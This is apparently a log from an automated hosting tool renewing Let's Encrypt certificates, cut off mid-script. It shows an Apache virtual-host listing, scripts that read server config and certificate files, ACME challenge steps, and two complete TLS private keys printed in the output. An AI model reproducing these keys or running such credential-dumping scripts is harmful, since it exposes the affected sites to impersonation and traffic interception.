         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:03:47: 

PUT: /tmp/pkp890468

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:03:47: 

chmod 755 /tmp/pkp890468; /tmp/pkp890468; rm /tmp/pkp890468

2025-08-30 06:03:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf	1572

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-08-30 06:03:47: 

PUT: /tmp/pkp342417

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:03:47: 

chmod 755 /tmp/pkp342417; /tmp/pkp342417; rm /tmp/pkp342417

2025-08-30 06:03:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt	5361
ad:af:6c:98:ed:8a:90:12:40:10:21:3e:93:7b:0e:85

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBnmLSnwqcdv8Uk3R2YRJPRJaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNTE2WhcNMjUxMTI4MDUwNTE1WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEArjYrI7t9ONXL8z0r1Zb999fGJE8GBXRmgYOf/WRdxj2atw3W1lkO6MDI
+pfZHHEvUT+aL8fUtCwJD81+8TYPU/spGUxscwNquJTBlIs0nL0ZNp9yltuKTslG
Erzdpe6AorQf8evWC963qFhkNTubk2Px+uz7+b8a7aS3bqYhlgpw4hgX/nxqEpet
ZASSfbZKfoSF0jOpoLKKXHjr7VqDQ6NykccbyFkqeeNbN6k27vOlfv576T+tG82c
WPkwl6PwbQZtGy2DJfNwuGzbtOn1qeWd7XcmIywabnGmOLKwKqaoK40NgDg5pTWk
5vIpwDL1qN329QgMpGB2DuACcCB7twIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTcqheIoghgvFSE8ZLa7NtsvdANGTAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy85MS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdgDM+w9qhXEJZf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kyLHAAAE
AwBHMEUCIDhkRBG5eUQKZhlbp5URvbTA78VX1AP9VW/Us0mUp4I9AiEAqbyYSRBQ
iDwkmBzRTlZvxAk9V+d+Emr9eX55njtCfoMAdgAN4fIwK9MNwUBiEgnqVS78R3R8
sdfpMO8OQh60fk6qNAAAAZj5kyKuAAAEAwBHMEUCIQC9Y8yQ5QyCjbikwMLAixzD
Bieal9GIgp10jFOaE9Y80gIgVlc35GmaoaHGv/9QCAXXL2HOa/xJQDTWpqbBX+Y2
BYQwDQYJKoZIhvcNAQELBQADggEBABwOlw1rGRujflu5YNL94ri6Y+5iUedYnD7g
B2U5z6++4lPKSWqnexANtlTBwEnS/fyXvwipFMSaOwbAJpCZcJR8R1Rk+P3boQdL
SoQofG3R33cJESeAzIXILtV6H+/lBZRCZ9KRsYtHS1ZHk7nHlMzUTCj66GKVJSQb
2HZhiiI6tH4Klwteo+abIWIUbG/uQ+Cy0F5OCdHU43ddgpvI9VSM0qY2PKqG7ovG
Dj5megdZc+59bM4vviE6/+wk4JTnGFJ3PP5S4p289za2MX+exzI6uR/aM/pEKHXu
2s7nQQTp6z+1y+1iBJcjMU1NyL18ZipCoYYDAC7Tlu1ryu7WVLY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCuNisju3041cvz
PSvVlv3318YkTwYFdGaBg5/9ZF3GPZq3DdbWWQ7owMj6l9kccS9RP5ovx9S0LAkP
zX7xNg9T+ykZTGxzA2q4lMGUizScvRk2n3KW24pOyUYSvN2l7oCitB/x69YL3reo
WGQ1O5uTY/H67Pv5vxrtpLdupiGWCnDiGBf+fGoSl61kBJJ9tkp+hIXSM6mgsopc
eOvtWoNDo3KRxxvIWSp541s3qTbu86V+/nvpP60bzZxY+TCXo/BtBm0bLYMl83C4
bNu06fWp5Z3tdyYjLBpucaY4srAqpqgrjQ2AODmlNaTm8inAMvWo3fb1CAykYHYO
4AJwIHu3AgMBAAECggEAXHEyAwwCLp6EUtYq5HPy4AkHg0zLjSlvG1qVEwinGgKm
jmwxjBxF5QwnmZHqC0WkLiDp2GDZZaHYTSJmMejVyWKFNH9xLLarcra84e3cRS+y
qWGClLp6ccQsAtVlaB9e8vdR3DWgpzvPiO0ef4DZ1SQ7y0LlkmjuCRxWmcheGhcf
yBIJsFzvIdZk7rxIBvSbeJ9/ljbyXxNyaQsPGTVQajszSZJ9Xxk/a5agx7ON8S4f
C3GrICbaazpHK9ugWqxSnZB39jjPFav3h9z+id4xDOgBWN9Ef88OZ0LLtnzcv/MG
L4BkK7z2/5MITHWZxbUPjpW3b7hUVDyxumkwjmGdQQKBgQDfLShR6Eb49/hCzVIf
UeAa2zz91vaWFPm9zeJ57Xavb9QdoHwUbuAEyJhj7xl9foeXWnA/7gYD+Uu1mOuR
MNM7tESnNd4x62mh2ybmEuFHILfreNmDKHksXZEj66Va2QmUyS3syT8NYM0c5C1f
umicQd3iFQV8poDA0j/tDbFMAwKBgQDH1W5ge1XG283U6IwAx908M7e3pCY45blC
XX21wH2UlOMyR4axeXYYhjLn++l97Jf8hdauVarjt1mLEgJX65SZFn0u2XePT6hk
p8RK+YLrHLFzFQflTC2dC0YD+E2tcYjFoRnnUwbQxpoPSaFZhB7g00MsVSV0g8ju
mnn1hwx1PQKBgQDD5Wl86/xQUakzSfKJ1151dHfHAMeV2XeWKYBgMhZ5zBlOoC4J
6YDt8f4BykB/rW7rZdEd7JqPJmZUUpSD722a/JM+isQs4Uzpa+prDat8ubV3Fa8n
t4EVdlQOSavtYJFOboDHVabo4U1pzMgfPQrSDebrqjQUxDpEBsliFSDJbQKBgQDH
P47jknYvZkBwFkJqEN4NRb/b0kbuGlfCzTcnvrs4J8/09Q5e7K2MvFoLpsjj7sCI
X+ZzQyW2Eb2thZJimZk7nwnIabrlYNaVLhXxb6FSzfQ8u+54eaFNYc047h59XqOx
8fTDCqzUBAHeVlsTx0GGh/8FOAy1hSUWi14pKrOIPQKBgQDbYqJHY1ZgM2ZaE7aK
goGIZPSSbhtJug81UlwlpGkhG5CL67LP7EGoq1+kCfawJv4+mJBCqEp7hYAyJovC
7zGN2aYin82c2HBoE6aZgV+jB74Md+k0Z9vaWc+SuAEQm+JEvEqKI0CWJHwisbDe
VP0atVe4sr7b8O3LcITnhxR7tA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-30 06:03:47: Establishing a connection
2025-08-30 06:03:48: Establishing a connection
2025-08-30 06:03:48: 

PUT: /tmp/pkp760871

#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:03:48: 

chmod 755 /tmp/pkp760871; /tmp/pkp760871; rm /tmp/pkp760871

2025-08-30 06:03:48: 


1


2025-08-30 06:03:49: Establishing a connection
2025-08-30 06:03:49: 

PUT: /tmp/pkp447939

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > akRES0XCUNxsqDxAXm9kx2zIzbSBlFjKgPBA5JEhaHA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
akRES0XCUNxsqDxAXm9kx2zIzbSBlFjKgPBA5JEhaHA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 akRES0XCUNxsqDxAXm9kx2zIzbSBlFjKgPBA5JEhaHA


2025-08-30 06:03:49: 

chmod 755 /tmp/pkp447939; /tmp/pkp447939; rm /tmp/pkp447939

2025-08-30 06:03:49: 




2025-08-30 06:03:56: Establishing a connection
2025-08-30 06:03:56: 

PUT: /tmp/pkp278829

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm akRES0XCUNxsqDxAXm9kx2zIzbSBlFjKgPBA5JEhaHA


2025-08-30 06:03:57: 

chmod 755 /tmp/pkp278829; /tmp/pkp278829; rm /tmp/pkp278829

2025-08-30 06:03:57: 




2025-08-30 06:03:57: Establishing a connection
2025-08-30 06:03:57: 

PUT: /tmp/pkp346871

#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt

cat > $temp_file <<'endmsg'
a8:05:1d:7e:2f:d6:55:63:8d:98:63:92:db:66:19:c8

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBpLJ8JQjgnhcfNgxJURuIzeNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNTI0WhcNMjUxMTI4MDUwNTIzWjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqhj+680A8ar9/RSpbWLG62Z7nSK6PeOfREPAecL9hF6j6jI9mwKGQIrL
8itEZNTYwkKPybZRE+HMsG1/b/1EeykN6aakY1YkXdb93dx6sAuRIQAZtYojBjMw
WU2KgwjW4gZq5GQJYFPPOBFNiy/ZHAID87Hh9Zmz8pYvRKibOGNejoTBp1vSCTd8
ztUuGZE/j3gs8ZjxNAJJIID10Rc18jGxwosYWgnrTF7wVYyeB7bbOjWYP9eBOXW2
eGODDHYuZ+aCi3Xcdsw8x6gjHvy/pJ6A3nBi/S5VC+0BcwBTwyGQwokBqR4OU83c
sNQNMy9a+tylvabG7AV0JJb+eVa3OwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSzr1w78sigtMGtUjFi48yCP80yLDAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8xNC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdgCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZj5k0KXAAAE
AwBHMEUCIHqj6ag4Qy04W2VBVpzcVxDzRuGKsYdEbG5LNMSY928WAiEAnzXjOWDB
GvGDQ71T4xCFMiwlNlYyfK+7ciUjkfV0i2IAdgDM+w9qhXEJZf6Vm1PO6bJ8IumF
XA2XjbapflTA/kwNsAAAAZj5k0qJAAAEAwBHMEUCICUvtyAx+3bbNV7r4vCZgQJi
1aNFlDjAs2zHmraEnFn9AiEA3fM+ghzCWXNzHrBGDznulqSzgt+KMgQMYcYWGm5q
8OkwDQYJKoZIhvcNAQELBQADggEBAG+Uq/vxhOfk5h582GkkCSRRstTzEm0OnWhf
92tQwSjBWHkQ66BMhOBU3Z+JI8Vy8/IaQbbStkZE67QEc/cU1zPynWaAbQpDoifk
Oiu94AVxYJzdFs92bCYDHAFk3FlNEO4Qx6QJlaW72Ej81jPnLrt3jGxZeD3pr6P3
K9RjEm7WUsww+LQLhdTMaJMoPTR4r5uJ4a+haalTHBHBNBE6T8Bum+50S6F+Lp+x
uEIH6cOPeU19Qvq4Eq9SYWzdTRotxyPpbQ/EpXij6WdLjn6chQ6dWXcsBir5V83T
TGHm9qbX5XQuL8fm2YLe0d97uMShoA/QV6zkDzkdTLwrNCez88s=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqGP7rzQDxqv39
FKltYsbrZnudIro9459EQ8B5wv2EXqPqMj2bAoZAisvyK0Rk1NjCQo/JtlET4cyw
bX9v/UR7KQ3ppqRjViRd1v3d3HqwC5EhABm1iiMGMzBZTYqDCNbiBmrkZAlgU884
EU2LL9kcAgPzseH1mbPyli9EqJs4Y16OhMGnW9IJN3zO1S4ZkT+PeCzxmPE0Akkg
gPXRFzXyMbHCixhaCetMXvBVjJ4Htts6NZg/14E5dbZ4Y4MMdi5n5oKLddx2zDzH
qCMe/L+knoDecGL9LlUL7QFzAFPDIZDCiQGpHg5Tzdyw1A0zL1r63KW9psbsBXQk
lv55Vrc7AgMBAAECggEALRKOikE6XM9omiVdd+TSvRHc85h+LWQhkd86I4mtz+Oc
H7TMakTS+ktNG5CngOh9v4wPue2bsl8E9EMvn6dG/DO2whEsQj5TSKJthtqjj/6g
qFP0fAxsl3n898z6RRqUhjQZIwf3DBVpNXwwRg+Zwjguf+bE72WZL1DomZLr/pa3
oXpSEamHnNfspP8BaNHU+hFmTZAKuoBaoefW8ZigRORIyJC0qzcb6UZxqHyU6hPv
2ayqhlSrMHAXIRJBqmzQWQrJFSMy5l1L0heKDl3baVG9Ep5q+D5OrgAKwtZd+tlM
93YWZfza723SFn/pnOH1/vnapEGsAizWfrzYTK8OwQKBgQDSWUfG/PEOmkvPbqgM
Cb6vnENo4yb3iCpjFVAXmXxwsA8jrff17YyYEoUk4Ttf9vAl/EYpJ/ooGQk/Zkpv
RN7RNv4n0BVizhj5EcXe5x+8glhkCS0oQijX0P60Re+e1bh6egSOOwWgNvTbFJ9+
R+IaVL4HOlag4BpccN+P0/rzSwKBgQDPA2mukhHxL2vY0eWhjGYgkKsxdAnHRuhN
ykrFXxao35hQge8w/VAU7EapTKjJNw/bKaS4qvd6IZWKirErLdS04BQL1jtL94jd
iCLF2xyFjINm2/4Cd6nm1VoFUDE23r0WJ3OWuFCcZYqWwmpGQvXw0yvzeyRGL2c8
NUYsUPzl0QKBgQCJX/eJlI4WHFzgdwNXAVJAvEwmBxve01XjafrpvrrPmZv5kFd9
jIuikY3U/Sfaz5odJLnpjQtJ/rfUaQi5zH+8oS6xb6tX4QPcPmg84DMQ2QvDIV8V
iMfF0t9Vess4r5mQm3m4LgHJlbqqDbjwLyASVD/a1pXW8SUmNC09cJLXKwKBgGxV
s+PIy5z1nTHtvoeJixS1wPFzcX6ZLA8xs2mQ9rHPuc1AAmYX2uXoNJ564MXUi/a8
11hRGIwQsUq8hDU9mdhCgBsltQhvdW/Bw7jZjxaQz19v94FhEEgeFSs8qVS2wiuq
38HbmUwPk7SL78PvXPf3+0NDiVs1iYgntR6SD5dRAoGAdsGF7qdvrOwqlSS0MZWv
u3kaU24hkzwrWMHzNW6NBLK32bje0c6TwdviOejQY3OwYG0fSSJDkSu7LSYHw7AO
bf6uNbxsZB0r4bFMHAKmWS4p+PM4T5U9R0GEOuraCzpz1LOCS8B3wR0DZyybEAig
z1907R6cfJCUuDV4ZnxuJ/c=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:03:57: 

chmod 755 /tmp/pkp346871; /tmp/pkp346871; rm /tmp/pkp346871

2025-08-30 06:03:57: 


dir=/etc/ssl/certs


2025-08-30 06:03:57: 

PUT: /tmp/pkp133706

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
